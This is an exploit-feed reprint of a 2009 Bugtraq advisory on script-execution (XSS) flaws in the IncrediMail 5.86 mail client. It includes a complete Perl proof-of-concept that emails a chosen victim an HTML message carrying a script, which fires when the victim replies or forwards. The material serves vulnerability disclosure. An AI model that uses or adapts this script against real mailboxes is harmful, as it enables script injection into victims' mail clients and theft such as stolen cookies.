|
Feeds -
Exploits
|
|
Written by Bui Quang Minh
|
|
Thursday, 26 March 2009 22:51 |
IncrediMail Script Execution Vulnerabilities
-\\Bugtraq ID: 34231
-\\Class: Input Validation Error
-\\CVE:
-\\Remote: Yes
-\\Local: No
-\\Published: Mar 24 2009 12:00AM
-\\Updated: Mar 26 2009 05:06PM
-\\Credit: Bui Quang Minh
-\\Vulnerable: IncrediMail Ltd. IncrediMail 5.86
-\\Discussion IncrediMail is prone to multiple script-execution vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the application.
IncrediMail 5.86 is vulnerable; other versions may also be affected.
-\\Exploit(s)/PoC(s): The following exploit code is available.
=============================================================== 34231.pl ^^^^^^^^^ #!/usr/bin/perl -w
# IncrediMail Xe (latest version) XSS Vulnerability # # Discovered by : Bui Quang Minh # # Description : The most of popular Mail Client now exclude Script Code for mail content. # It aims to avoid the type of XSS exploitation (For e.g: stolen cookie). # IncrediMail also remove Script Code when the user read mail. # However, I found the "Reply" and "Forward" function of the mail client # has not handled mail content well resulting in XSS vulnerability. # # My Blog : http://minhbq.blogspot.com
use Net::SMTP;
# ARGV Check if ($#ARGV != 2) { print "\nUSAGE: IncrediMail.pl <Mail Server> <Attacker Email> <VicTim Email>\n"; exit; }
$host = $ARGV[0]; $attacker = $ARGV[1]; $victim = $ARGV[2];
# Config SMTP $smtp = Net::SMTP->new( Host => $host, Hello => 'Hello world', Timeout => 30) or die "Couldn't connect to Mail Server\n";
# Attacker and Victim email $smtp->mail($attacker); $smtp->to($victim);
# Send email $buffer = "From: XSS Vulnerability\n". "To: XSS Vulnerability\n". "Subject: XSS Vulnerability\n". "MIME-Version: 1.0\n". "Content-Type: multipart/mixed;\n". " boundary=\"--=451455784428388488539750457457151716025829662771784064026380543150341285 43847104614337851625097187549984363453814450535441019\"\n\n". "----=4514557844283884885397504574571517160258296627717840640263805431503412854384710461433 7851625097187549984363453814450535441019\n". "Content-Type: text/html;\n". " charset=\"utf-8\"\n". "Content-Transfer-Encoding: quoted-printable\n\n". "Reply or Sender for XSS Vulnerability\n". "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\n". "<HTML><BODY>\n". "<script> alert('XSS Vulnerability') </script>\n". "</BODY></HTML>\n\n". "----=45145578442838848853975045745715171602582966277178406402638054315034128543847104614337 851625097187549984363453814450535441019--";
$smtp->data(); $smtp->datasend($buffer); $smtp->quit();
print "Send Finish.\n";
-\\Solution Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at:
This e-mail address is being protected from spambots. You need JavaScript enabled to view it
.
-\\References(s) --IncrediMail Homepage http://www.incredimail.com/english/index.htm (IncrediMail Ltd.)
|